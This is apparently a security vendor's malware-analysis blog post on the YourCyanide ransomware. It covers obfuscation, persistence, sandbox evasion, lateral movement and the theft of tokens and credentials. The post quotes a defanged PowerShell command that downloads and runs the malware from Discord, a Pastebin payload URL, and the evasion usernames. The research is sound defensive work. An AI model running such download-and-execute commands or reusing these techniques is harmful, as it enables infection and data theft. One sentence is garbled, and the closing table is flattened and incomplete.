# YourCyanide: A CMD-Based Ransomware With Multiple Layers of Obfuscation **trendmicro.com/en_us/research/22/f/yourcyanide-a-cmd-based-ransomware.html** Ransomware June 2, 2022 The Trend Micro Threat Hunting team recently analyzed a series of CMD-based ransomware variants with a number capabilities such as stealing user information, bypassing remote desktop connections, and propagating through email and physical drives. By: Ieriz Nicolle Gonzalez, Nathaniel Morales, Monte de Jesus June 02, 2022 Read time: ( words) [The Trend Micro Threat Hunting team recently analyzed a series of CMD-based ransomware variants with a number capabilities such as](https://www.trendmicro.com/vinfo/us/security/definition/ransomware) stealing user information, bypassing remote desktop connections, and propagating through email and physical drives. In this blog entry, we will analyze YourCyanide, the latest variant of the CMD-based ransomware family that started with GonnaCope. YourCyanide is a sophisticated ransomware that integrates PasteBin, Discord, and Microsoft document links as part of its payload download routine. YourCyanide contains multiple layers of obfuscation and takes advantage of custom environment variables and the Enable Delayed Expansion function to hide its activities. As part of its evasion strategy, YourCyanide will also pass through different files, downloading the succeeding files via Discord and Pastebin with each step before eventually downloading the main payload. Note that the ransomware is still currently under development, so some portions of the routine — like the actual encryption portion — are not finalized (YourCyanide currently renames the files under specific directories, but does not encrypt anything). Figure 1. An Obfuscated batch script [The earliest sample of this ransomware, known as GonnaCope, was found by Twitter user Petrovic in April 2022. This variant possessed the](https://twitter.com/petrovic082/status/1519230065950826497) ability to overwrite its victim's files — however, this was limited to the current directory in which the ransomware was being executed. Upon checking the latest variant of this malware, we observed that the malware author was sending messages to all users in the compromised network notifying them of the infiltration. Along with this, another message was sent stating that "Kekware and Kekpop were just the begining" — indicating that the author was preparing a more sophisticated variant of the original ransomware. Figure 2. A message warning victims of potentially more sophisticated variants of the ransomware Table 1 shows when the additional variants of the original CMD/BAT-based ransomware were uploaded to VirusTotal. **Date earliest sample was uploaded to VirusTotal** **Ransomware sample** 07 Apr 2022 GonnaCope 07 May 2022 Kekpop 11 May 2022 Kekware 13 May 2022 YourCyanide Table 1. CMD-based ransomware samples and their date of upload to VirusTotal ----- ## YourCyanide technical analysis Infection flow Figure 3. YourCyanide infection routine ----- Figure 4. Exfiltration of stolen information ## Arrival It initially arrives as an LNK file that contains the following PowerShell script for downloading the "YourCyanide.exe" 64-bit executable from Discord and executing it: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/attachments/974799607894769704/975527548983341056/YourCyanide.exe', 'YourCyanide.exe')"; start YourCyanide.exe" ----- Figure 5. LNK file containing the shellcode This 64-bit executable file creates and executes a CMD file with the filename YourCyanide.cmd. Figure 6. Creating and executing YourCyanide.cmd The dropped YourCyanide.cmd file contains a script downloaded from Pastebin that is saved using the same filename (YourCyanide.cmd). Figure 7. Code snippets from the YourCyanide.cmd file The ransomware will create a registry key in HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce for cleanup purposes. It then runs advpack.dll to delete the folder containing the malicious CMD file to remove traces of the downloader from the machine. Figure 8. Creating a registry key for cleanup ## Analyzing YourCyanide.cmd The downloaded script file contains 10 layers of obfuscated code, with each layer being needed to deobfuscate the succeeding layer. It takes advantage of the Enable Extensions and Enable Delayed Extensions commands, causing variables within a batch file to be expanded at execution time rather than at parse time. The malware uses following format for its obfuscation technique: %parameter:~index of character, number of characters to take% %Kesik:~19,1%, will return 1 character from the index value 19 of parameter Kesik Figure 9. Code snippets showing Enable Extensions and Enable Delayed Extensions commands Upon execution, YourCyanide sets its file attributes as hidden and as a system file, then launches five maximized Command Prompt windows. ----- Figure 10. Launching five maximized Command Prompt windows It will then try to add a user "session" to the Administrators group using the net localgroup command. Figure 11. The net localgroup command being run It also creates an autostart mechanism for persistence by creating a registry key in HKLM\Software\Microsoft\Windows\CurrentVersion\Run and then copying itself to the Startup directory. It also disables Task Manager by modifying its registry entry. Figure 12. Code snippet showing YourCyanide creating a registry key and copying itself to the Startup directory for persistence. It then checks if %SystemDrive%\AutoExec.bat exists, and if so, it deletes the original and then copies itself and sets the file to read only, hidden, and as a system file. It also avoids machines with the following usernames, some of which, according to our research, are usernames used by malware researchers and sandbox systems — implying that the malware author is noting which machines should be evaded: a.monaldo George george help karolisliucveikis Soumy guent After checking the username of the infected machine, it drops and executes a batch file in UserProfile\Documents\black.bat. This batch file is responsible for continuously opening the Blank Screen Saver file, which renders the machine inaccessible while the malware is running. Figure 13. Dropping and executing the batch file YourCyanide also terminates several services and security applications by concatenating variables to form the strings "net stop," "norton," "symantec," and "McAfee." ----- Figure 14. Code snippet showing YourCyanide stopping services and security software It then swaps the mouse button using the SwapMouseButton Export function of the user32.dll file. After terminating applications, it renames files from the following directories to ...cyn: %MyDesktop% %MyDocuments% %MyMusic% %MyPictures% %MyVideos% %Downloads% Although no actual encryption is being performed, users will still be heavily inconvenienced due to their files being renamed — especially for those with large amounts of files in these particular folders. Furthermore, since the malware is still currently under development, it’s likely that the malware authors are still finalizing the encryption portion of the routine. It then creates the following ransom notes and drops them into %MyDesktop%: YcynNote.txt other.txt Figure 15. The ransom notes dropped by YourCyanide (including the warning shown in Figure 2) It features two instances in which it copies itself to batch files and then appends the malicious code (shown in Figure 16) to win.ini and system.ini. Figure 16. The malicious code that are appended to win.ini and system.ini ----- te pe o g ts out e, t de etes t e b ac bat e t e % y ocu e ts% d ecto y, c s espo s b e o e de g t e ac e inaccessible. Deleting the file will stop the blank screen saver file from continuously opening. Figure 17. The black.bat file responsible for rendering the infected machine inaccessible ## Lateral movement YourCyanide is also capable of spreading via email and to different drives. It creates two VBScript files, mail.vbs and loveletter.vbs, that send an email using the following subjects (with itself as an attachment): I Have a crush on you Check This Out It then copies itself to the following drives or directories: D: E: F: G: H: %UserProfile% ## Bypassing remote desktop connections and firewalls YourCyanide enables Remote Desktop Connection (RDP) by using the netsh commands shown in Figure 18. Figure 18. Using netsh commands for RDP connection The ransomware opens multiple local ports by adding firewall rules for Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) connections via the netsh advfirewall function. Figure 19. Opening multiple local ports It then downloads and executes another CMD file (ycynlog.cmd) from hxxps://pastebin[.]com/raw/2K5m42Xp. ## Exfiltration of stolen information The ycynlog.cmd file is responsible for the collection and exfiltration of stolen information from the compromised machine. Like the main file, it also features multiple layers of obfuscation. Upon execution, the file hides itself and creates its autostart mechanism by producing a registry key in HKLM\Software\Microsoft\Windows\CurrentVersion\Run, and by copying itself to the Startup directory. The malware uses the Telegram chatbot API to exfiltrate the stolen information and sets it to variable "Webhook" Figure 20. Using the Telegram Chatbot API for data exfiltration It downloads another executable from Discord (GetToken.exe). Running this executable creates the file MyTokens.txt, which contains stolen access token data from different applications such as Chrome, Discord, and Microsoft Edge. ----- Figure 21. Downloading GetToken.exe It also collects the following machine information and stores it in userdata.txt: IP addresses MAC addresses CPU Information Memory Size Partition information System specifications OS product key Currently running processes Both Tokens.txt and userdata.txt will then be sent via Telegram chatbot API using the curl command. We also discovered that YourCyanide exfiltrates Minecraft-related credentials. Figure 22. Exfiltrating Minecraft-related credentials Finally, it downloads another executable from Google Docs and executes it using the parameter "/stext ForME.txt". ForMe.txt will then be sent to the Telegram chatbot. While the Google Docs link is currently inaccessible, and therefore a sample can't be sourced, we noticed that it is run using the same parameter as the sample "passwords.exe," which is also used by the earlier Kekpop variant. The parameter "/stext" is employed when executing the file, which is similar to the WebBrowserPassView application used to retrieve credentials stored by various web browsers such as Internet Explorer (Version 4.0 - 10.0), Mozilla Firefox (all versions), Google Chrome, Safari, and Opera. Figuring 23. Downloading the executable from Google Docs The file created from executing passwords.exe contains saved passwords that are stored in Google Chrome. ----- Figure 24. The file created from executing passwords.exe ## Avoiding usernames Of the usernames this malware avoids, three in particular stand out. Namely: a.monaldo, karolisliucveikis, and soumy. Upon further research, we discovered that these are usernames from sandbox environments. The username of the sandbox machine used by Hunter Yomi Figure 25. Screenshot showing the a.monaldo username Image from yomi.yoroi.company **[karolisliucveikis](https://www.pcrisk.com/removal-guides/21290-vn-os-ransomware)** The username of the sandbox machine used by PCRisk Figure 26. Screenshot showing the karolisliucveikis username Image from pcrisk.com **[soumy](http://software.sonicwall.com/applications/gav/index.asp?ev=sig&sigid=56043)** Figure 27. Screenshot showing the soumy username Image from sonicwall.com ## Variant Comparison The team analyzed these CMD-based ransomwares and came up with the following table that compares each variant and their differences. One notable difference is that GonnaCope, the earliest variant, does not collect user credentials from web browsers and list of applications, and does not enable RDP connections. Furthermore, it does not execute black.bat, the file that temporarily causes the machine to become inaccessible while the malware executes its payload. We also observed that the BTC address used by GonnaCope is different from the BTC address of the succeeding variants and it contains a different ransom note format. The variants also differ in their delivery — shifting between arriving as an archive, executable files, or LNK files that drop the CMD-based ransomware. The payloads are also located in different parts of the chain, with some being found in the main CMD file, while others are found in files that are downloaded from Pastebin and Discord. ----- **Behavior** **GonnaCope** **Kekware** **Kekpop** Creates auto-start mechanism Disables task manager Checks the username of the machine Creates and executes black.bat to continuously turn on Blank Screen Saver Yes Yes Yes Yes Yes Yes No Yes Yes No Yes Yes Stops services Yes Yes Yes Terminates applications Swaps mouse buttons Yes Yes Yes Yes Yes Yes Renames files GonnaCope.cope random.cope ...cyn .